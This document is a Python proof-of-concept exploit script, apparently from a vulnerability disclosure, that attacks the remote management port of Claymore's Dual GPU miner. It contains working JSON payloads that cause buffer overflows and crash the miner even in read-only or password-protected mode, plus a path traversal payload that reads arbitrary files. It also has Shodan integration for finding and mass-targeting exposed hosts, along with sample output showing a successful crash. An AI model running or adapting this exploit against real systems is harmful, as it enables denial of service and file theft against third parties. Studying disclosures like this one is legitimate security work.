#!/usr/bin/env python # -*- coding: UTF-8 -*- # github.com/tintinweb # # # optional: pip install pysocks (https://pypi.python.org/pypi/PySocks) # # ''' API overview: # >nc -L -p 3333 {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt",""]} {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]} {"id":0,"jsonrpc":"2.0","method":"miner_restart"} {"id":0,"jsonrpc":"2.0","method":"miner_reboot"} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt",""]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt",""]} Exec: #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333 ╔════════════════════════════════════════════════════════════════╗ ║ Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0 ║ ╚════════════════════════════════════════════════════════════════╝ ... Total cards: 1 ETH - connecting to 192.168.0.1:8545 DUAL MINING MODE ENABLED: ETHEREUM+DECRED DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' <213.32.29.168> port 15555 ETH: HTTP SOLO mode Ethereum HTTP requests time (-etht) is set to 200 ms Watchdog enabled Remote management (READ-ONLY MODE) is enabled on port 3333 DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555) DCR: Authorized DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555 ... > GPU0 t=57C fan=0% Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa .... PoC: #> poc.py 127.0.0.1:3333 [poc.py - () ][ INFO] --start-- [poc.py - () ][ INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite [poc.py - () ][ INFO] # github.com/tintinweb [poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled. [poc.py - () ][ INFO] [i] Target: 127.0.0.1:3333 [poc.py - () ][ INFO] [+] connected. [poc.py - () ][ INFO] [+] peer disappeared. vulnerable! [poc.py - () ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen') [poc.py - () ][ INFO] --done-- ''' import logging import json import time import argparse import socket try: import socks except ImportError: print "!! cannot import socks. no socks support!" socks = None try: import shodan except ImportError: print "!! cannot import shodan. no shodan support!" shodan = None LOGGER = logging.getLogger(__name__) class MinerRpc(object): """ Generic MinerRpc class with socks support """ def __init__(self): self.sock = None def connect(self, host, port, proxy=None, timeout=15): if socks: self.sock = socks.socksocket() else: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(timeout) if proxy: if not socks: raise Exception("socks support disabled due to unmet dependency. please install pysocks") self.sock.set_proxy(*proxy) return self.sock.connect((host, port)) def sendRcv(self, msg, chunksize=4096): self.sock.sendall(msg) chunks = [] chunk = None #time.sleep(2) while chunk is None or len(chunk)==chunksize: chunk = self.sock.recv(chunksize) chunks.append(chunk) return "".join(chunks) def sendRcvTimed(self, msg, chunksize=1): self.sock.sendall(msg) start = time.time() resp = self.sock.recv(chunksize) diff = time.time()-start return diff, resp class Utils: """ Utility namespace """ @staticmethod def iter_targets(targets, shodan_apikey): shodan_api = None if not shodan: LOGGER.warning( "[i] starting without shodan support. please pip install shodan to use shodan search strings.") else: if not shodan_apikey: LOGGER.warning("shodan apikey missing! shodan support disabled.") else: shodan_api = shodan.Shodan(shodan_apikey) for target in targets: if target.startswith("shodan://"): target = target.replace("shodan://", "") if shodan_api: for t in shodan_api.search(target)['matches']: yield t['ip_str'], t['port'] else: host,port = target.strip().split(":") yield host,int(port) VECTORS = { # Vector: extrafield # Description: overly long value for field. overly long overall msg # Result: crashes always, even though # * password required # * readonly mode (-) "extrafield" : {"id": 1, "jsonrpc": "2.0", "lol": "a" * 145000, ##<<-- "method": "miner_getstat1 ", }, # Vector: psw (basically same as extrafield) # Description: overly long value for psw. overly long overall msg # Result: crashes always, even though # * password required # * readonly mode (-) "psw" : { "id": 1, "psw":"d"*145000, ##<<-- "jsonrpc": "2.0", "method": "miner_getstat1", }, # Vector: method # Description: overly long value for field. overly long overall msg # Result: crashes always, even though # * readonly mode (-) "method" : {"id": 1, "jsonrpc": "2.0", "method": "miner_getstat1 " + "a" * (16384 - 50 - 15 - 5), }, ##<<-- # Vector: traversal # Description: path traversal # Result: retrieves any file "traversal": {"id":0, "jsonrpc":"2.0", "method":"miner_getfile", "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- adjust path } if __name__ == "__main__": logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s', loglevel=logging.DEBUG) LOGGER.setLevel(logging.DEBUG) usage = """poc.py [options] example: poc.py [options] [, ...] options: apikey ... optional shodan apikey vector ... method ... overflow in method, requires password if set [readonly] extrafield ... overflow in non-standard field [readonly, passwd mode] psw ... overflow in password traversal ... relative path traversal [authenticated] target ... IP, FQDN or shodan:// #> poc.py 1.1.1.1 #> poc.py 1.2.3.4 "shodan://product:eth+result" """ parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-a", "--apikey", dest="apikey", default=None, help="shodan.io apikey, NotSet=disabled [default: None]") parser.add_argument("-m", "--vector", dest="vector", default="method", help="vulnerablevectors [default: method]") parser.add_argument("targets", nargs="+") options = parser.parse_args() LOGGER.info("--start--") LOGGER.info("# Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite") LOGGER.info("# github.com/tintinweb") m = MinerRpc() for ip, port in Utils.iter_targets(options.targets, options.apikey): LOGGER.info("[i] Target: %s:%s"%(ip, port)) try: m.connect(ip, port, timeout=20) LOGGER.info("[+] connected.") resp = m.sendRcv(json.dumps(VECTORS[options.vector])) # crash with readonly mode LOGGER.debug("<-- %d %r"%(len(resp), resp)) if not len(resp): LOGGER.info("[+] did not receive a response. probably vulnerable.") except socket.error, e: if e[0]==10054: LOGGER.info("[+] peer disappeared. vulnerable!") LOGGER.warning(repr(e)) LOGGER.info("--done--")